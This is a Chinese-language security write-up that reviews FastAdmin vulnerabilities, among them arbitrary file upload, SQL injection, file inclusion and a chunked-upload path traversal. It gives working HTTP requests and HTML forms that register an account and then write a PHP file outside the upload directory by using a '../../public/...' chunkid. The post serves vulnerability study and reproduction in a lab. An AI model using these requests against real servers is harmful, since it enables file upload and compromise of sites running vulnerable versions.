0x00简介

算是一个漏洞整理吧

最近看了下cnvd上关于fastadmin的漏洞报送

1658573616004

其实有一些漏洞没啥意思

比如下面这种CVE-2021-43117

再就是之前爆出的漏洞了,比如empty方法的文件包含,限制就是只能在windows下

经过选择大概如下

  • CNVD-2021-37445:fastadmin<=1.2.0.20210401 (7.1分)
    • 后台auth类eval代码执行,这个可以说是用的最多的一个漏洞了。虽然是后台
  • CNVD-2021-26002:fastadmin<=1.2.0.20210125 (10.0分)
    • 如果对比的不错的话,这个有点名不副实了,分片传输那个,非默认配置
  • CNVD-2021-14834:fastadmin<=1.0.0.20200920 (9.0分)
    • 限制:windows
  • SQl注入:后台普通用户的注入(这个没啥意义但是突然看到记录一下)
  • 任意文件上传:无编号:1.0.0.20180406,大概是2018版之前的

0x01 漏洞分析复现

任意文件上传

这里就以1.0.0.20180406为例

github下载地址

在api/common/upload方法中,可以看到此时的判断条件其实是一堆and

第一个条件,默认的mimetype不为*

  • 'mimetype' => 'jpg,png,bmp,jpeg,gif,zip,rar,xls,xlsx',

第二个条件suffix应当是我们上传的后缀,需要是php,此时前两个判断都为true

第三个和第四个条件取自上传文件的类型,这个也是可控的,完全可以为false

1658579032907

当然漏洞复现的话需要前台账户,可以直接注册

脚本化的话,正常的注册接口需要输入验证码,所以使用api接口的注册功能,这里不需要验证信息可以随便填

1658579340962

1
2
3
4
POST /index.php/api/user/register HTTP/1.1
Cookie: PHPSESSID=rvitsn3e1lbbcab8h5gccalah8;

username=fastadmin_2018&password=admin@123&email=&mobile=

1658579607419

然后使用此cookie登录,其实重点是后面返回的token,为了兼容版本两个都带着

1
2
3
4
POST /index.php/index/user/login.html HTTP/1.1
Cookie: PHPSESSID=rvitsn3e1lbbcab8h5gccalah8

url=&__token__=c45e6f4b0b0832192d6327295c04923c&account=fastadmin_2018&password=admin%40123&keeplogin=1

1658580956183

上传html

1
2
3
4
5
6
7
8
<html>
<body>
<form action='http://192.168.31.251:8305/index.php/index/ajax/upload' method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

1658581099741

SQL注入

在后台有一个不需要鉴权的方法

1658585494959

跟进之后可以看到其实所有的参数都是可控的

1658585617908

可以发现其实key是完全可控的

1658585606123

具体因为设计后台 不复现了

分片上传

测试版本,github下载地址

  • 1.2.0.20210125

限制就是不是默认配置,需要后台开启支持分片上传

1658586049581

看一下实现的逻辑

其实是在合并完文件之后,未调用upload方法之前已经把文件写了,然后对chunkid并未进行过滤

首先看一下common的upload方法,chunkid完全可控

1658586988257

跟进chunk方法

1658587039749

很明显这里是可以跳出runtime目录的,一般都访问不到runtime,还是要跳到public下去的

然后我们看一看merge方法

1658587161036

其实这个方法里面,这里的upload才进入正常的上传逻辑

1658587216725

但是,在这之前已经完成了文件写入

1658587320928

漏洞复现,同样是先注册一个前台账号

并且将配置修改成允许分片

1658587400571

上传html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<form action='http://192.168.31.251:8305/index.php/index/ajax/upload' method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="hidden" name="chunkid" value="../../public/assets/js/fastadmin_2021.php"/>
<input type="hidden" name="action" value="chunk"/>
<input type="hidden" name="chunkindex" value="0"/>
<input type="hidden" name="chunkcount" value="1"/>
<input type="hidden" name="filename" value="a.png"/>
<input type="submit" value="submit" />
</form>
</body>
</html>

上传数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /index.php/index/ajax/upload HTTP/1.1
Host: 192.168.31.251:8305
Content-Length: 733
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysOszomuY7a9NnEkH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Cookie: Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1658543127; PHPSESSID=rvitsn3e1lbbcab8h5gccalah8; Hm_lpvt_f8d0a8c400404989e195270b0bbf060a=1658579476; token=9ae04030-df7f-432a-affa-8407d74080c0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="file"; filename="aaaa.jpg"
Content-Type: application/octet-stream

aaaaaaaaaa
------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="chunkid"

../../public/uploads/fastadmin_2021.php
------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="action"

chunk
------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="chunkindex"

0
------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="chunkcount"

1
------WebKitFormBoundarysOszomuY7a9NnEkH
Content-Disposition: form-data; name="filename"

a.png
------WebKitFormBoundarysOszomuY7a9NnEkH--

1658588622320

然后开始合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php/index/ajax/upload HTTP/1.1
Host: 192.168.31.251:8305
Content-Length: 113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Cookie: Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1658543127; PHPSESSID=rvitsn3e1lbbcab8h5gccalah8; Hm_lpvt_f8d0a8c400404989e195270b0bbf060a=1658579476; token=9ae04030-df7f-432a-affa-8407d74080c0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

chunkid=..%2f..%2fpublic%2fassets%2fjs%2ffastadmin_2021.php&action=merge&chunkindex=0&chunkcount=1&filename=a.png

虽然报错但是文件已经生成

路径和文件名完全可控

1658588743207

文件包含

这个就很简单了

1658596725704

上传文件先,其实这里生成的文件是固定的

1658598317583

直接包含

1658598332479

0x02 end

暂时这些